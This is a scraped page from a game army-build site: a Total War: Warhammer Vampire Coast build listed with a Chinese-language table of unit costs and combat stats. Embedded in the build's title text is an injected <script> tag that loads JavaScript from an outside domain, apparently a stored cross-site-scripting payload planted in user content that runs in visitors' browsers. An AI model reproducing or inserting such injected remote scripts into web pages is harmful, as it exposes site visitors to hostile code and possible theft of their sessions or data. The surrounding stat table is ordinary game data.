Left Panel
death
booBuild by warlord - 2020-09-16 08:00:30
1
1
1
5
5
5
5
5
32
32
32
32
16
16
60
60
24
44
44
48
1
1
1
5
5
5
5
5
16
16
32
32
32
60
60
24
24
1
44
44
BOOOOUUUUUUUMMMM<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 指挥官 (6) | 6 | 8450 | 6900 | 2012 | - | - | - | 273 | 2352 | 195 | 248 | 515 | 37951 | 390 | |||||
| 1 | 诺克特拉斯伯爵 | 1 | 2100 | 1000 | 500 | 46 | 412 | 20 | 30 | 75 | 9875 | 75 | |||||||
| 2 | 丧哀妖魂 | 1 | 1450 | 1450 | 325 | 48 | 420 | 40 | 38 | 40 | 6568 | 60 | |||||||
| 3 | 射手尸妖 (腐化魔蟹) | 1 | 1100 | 1000 | 275 | 38 | 350 | 30 | 46 | 120 | 4980 | 60 | |||||||
| 4 | 吸血鬼舰队司令(手枪-死亡系法术) (腐化魔蟹) | 1 | 1250 | 1000 | 312 | 55 | 400 | 35 | 50 | 120 | 4980 | 75 | |||||||
| 5 | 丧哀妖魂 | 1 | 1450 | 1450 | 325 | 48 | 420 | 40 | 38 | 40 | 6568 | 60 | |||||||
| 6 | 射手尸妖 (腐化魔蟹) | 1 | 1100 | 1000 | 275 | 38 | 350 | 30 | 46 | 120 | 4980 | 60 | |||||||
| 近战步兵 (13) | 325 | 19700 | 19700 | 4925 | - | - | - | 584 | 2656 | 334 | 499 | 1160 | 49668 | 732 | |||||
| 7 | 腐化利维坦 | 5 | 2000 | 2000 | 500 | 52 | 400 | 24 | 42 | 150 | 9862 | 55 | |||||||
| 8 | 腐化利维坦 | 5 | 2000 | 2000 | 500 | 52 | 400 | 24 | 42 | 150 | 9862 | 55 | |||||||
| 9 | 午夜之惧(丧妖) | 16 | 1200 | 1200 | 300 | 52 | 120 | 34 | 31 | 30 | 560 | 72 | |||||||
| 10 | 丧妖 | 16 | 1000 | 1000 | 250 | 36 | 100 | 28 | 24 | 30 | 560 | 50 | |||||||
| 11 | 深海护卫(长戟) | 60 | 1300 | 1300 | 325 | 42 | 44 | 20 | 44 | 90 | 109 | 60 | |||||||
| 12 | 深海护卫(长戟) | 60 | 1300 | 1300 | 325 | 42 | 44 | 20 | 44 | 90 | 109 | 60 | |||||||
| 13 | 腐化利维坦 | 5 | 2000 | 2000 | 500 | 52 | 400 | 24 | 42 | 150 | 9862 | 55 | |||||||
| 14 | 腐化利维坦 | 5 | 2000 | 2000 | 500 | 52 | 400 | 24 | 42 | 150 | 9862 | 55 | |||||||
| 15 | 丧妖 | 16 | 1000 | 1000 | 250 | 36 | 100 | 28 | 24 | 30 | 560 | 50 | |||||||
| 16 | 丧妖 | 16 | 1000 | 1000 | 250 | 36 | 100 | 28 | 24 | 30 | 560 | 50 | |||||||
| 17 | 深海护卫(长戟) | 60 | 1300 | 1300 | 325 | 42 | 44 | 20 | 44 | 90 | 109 | 60 | |||||||
| 18 | 血腥掠夺者甲板护卫(深海护卫) | 60 | 1600 | 1600 | 400 | 52 | 44 | 20 | 54 | 90 | 109 | 70 | |||||||
| 19 | 死亡尖啸惊惧兽 | 1 | 2000 | 2000 | 500 | 38 | 460 | 40 | 42 | 80 | 7544 | 40 | |||||||
| 远程步兵 (13) | 254 | 16750 | 17350 | 4337 | - | 1198 | - | - | 352 | 309 | 2686 | 127 | 271 | 540 | 57581 | 600 | |||
| 20 | 死灵巨像 | 5 | 1900 | 1900 | 475 | 170 | 330 | 5.6 | 22 | 42 | 412 | 20 | 30 | 75 | 9475 | 50 | |||
| 21 | 死灵巨像 | 5 | 1900 | 1900 | 475 | 170 | 330 | 5.6 | 22 | 42 | 412 | 20 | 30 | 75 | 9475 | 50 | |||
| 22 | 绞架巨人(死灵巨像) | 5 | 2000 | 2000 | 500 | 30 | 110 | 8.3 | 88 | 52 | 500 | 20 | 43 | 75 | 9475 | 60 | |||
| 23 | 甲板枪手 | 32 | 700 | 800 | 200 | 47 | 245 | 6.4 | 22 | 5 | 18 | 1 | 10 | 15 | 108 | 40 | |||
| 24 | 甲板枪手 | 32 | 700 | 800 | 200 | 47 | 245 | 6.4 | 22 | 5 | 18 | 1 | 10 | 15 | 108 | 40 | |||
| 25 | 甲板枪手 | 32 | 700 | 800 | 200 | 47 | 245 | 6.4 | 22 | 5 | 18 | 1 | 10 | 15 | 108 | 40 | |||
| 26 | 暗影幽灵枪手(甲板枪手) | 32 | 1050 | 1050 | 262 | 36 | 245 | 7.8 | 22 | 17 | 18 | 1 | 18 | 0 | 83 | 50 | |||
| 27 | 死灵巨像 | 5 | 1900 | 1900 | 475 | 170 | 330 | 5.6 | 22 | 42 | 412 | 20 | 30 | 75 | 9475 | 50 | |||
| 28 | 死灵巨像 | 5 | 1900 | 1900 | 475 | 170 | 330 | 5.6 | 22 | 42 | 412 | 20 | 30 | 75 | 9475 | 50 | |||
| 29 | 死灵巨像 | 5 | 1900 | 1900 | 475 | 170 | 330 | 5.6 | 22 | 42 | 412 | 20 | 30 | 75 | 9475 | 50 | |||
| 30 | 甲板枪手 | 32 | 700 | 800 | 200 | 47 | 245 | 6.4 | 22 | 5 | 18 | 1 | 10 | 15 | 108 | 40 | |||
| 31 | 甲板枪手 | 32 | 700 | 800 | 200 | 47 | 245 | 6.4 | 22 | 5 | 18 | 1 | 10 | 15 | 108 | 40 | |||
| 32 | 甲板枪手 | 32 | 700 | 800 | 200 | 47 | 245 | 6.4 | 22 | 5 | 18 | 1 | 10 | 15 | 108 | 40 | |||
| 远程骑兵 (3) | 72 | 1750 | 1750 | 438 | - | 3 | - | - | 21 | 86 | 66 | 48 | 73 | 45 | 552 | 130 | |||
| 33 | 跳帮队(投弹手) | 24 | 500 | 500 | 125 | 1 | 60 | 4.8 | 7 | 26 | 22 | 16 | 22 | 15 | 184 | 40 | |||
| 34 | 盐主沉船队(跳帮队-投弹手) | 24 | 750 | 750 | 188 | 1 | 60 | 6.1 | 7 | 34 | 22 | 16 | 29 | 15 | 184 | 50 | |||
| 35 | 跳帮队(投弹手) | 24 | 500 | 500 | 125 | 1 | 60 | 4.8 | 7 | 26 | 22 | 16 | 22 | 15 | 184 | 40 | |||
| 野战炮兵 (5) | 224 | 4600 | 3000 | 1248 | - | 2094 | - | - | 0 | 54 | 101 | 25 | 33 | 95 | 369 | 150 | |||
| 36 | 卡隆炮 | 44 | 750 | 750 | 187 | 440 | 450 | 2.9 | 10 | 18 | 5 | 6 | 20 | 56 | 30 | ||||
| 37 | 卡隆炮 | 44 | 750 | 750 | 187 | 440 | 450 | 2.9 | 10 | 18 | 5 | 6 | 20 | 56 | 30 | ||||
| 38 | 贝丝女皇炮 | 48 | 1600 | 0 | 500 | 334 | 450 | 3.7 | 14 | 29 | 5 | 9 | 15 | 145 | 30 | ||||
| 39 | 卡隆炮 | 44 | 750 | 750 | 187 | 440 | 450 | 2.9 | 10 | 18 | 5 | 6 | 20 | 56 | 30 | ||||
| 40 | 卡隆炮 | 44 | 750 | 750 | 187 | 440 | 450 | 2.9 | 10 | 18 | 5 | 6 | 20 | 56 | 30 | ||||
| Subtotal | 881 | 51250 | 48700 | 12960 | - | 3295 | - | - | 373 | 1306 | 7861 | 729 | 1124 | 2355 | 146121 | 2002 | |||

English
Français
Italiano
Deutsch
Español
Русский
Čeština
Polski
Türkçe
Português (Brasil)
한국어
正體中文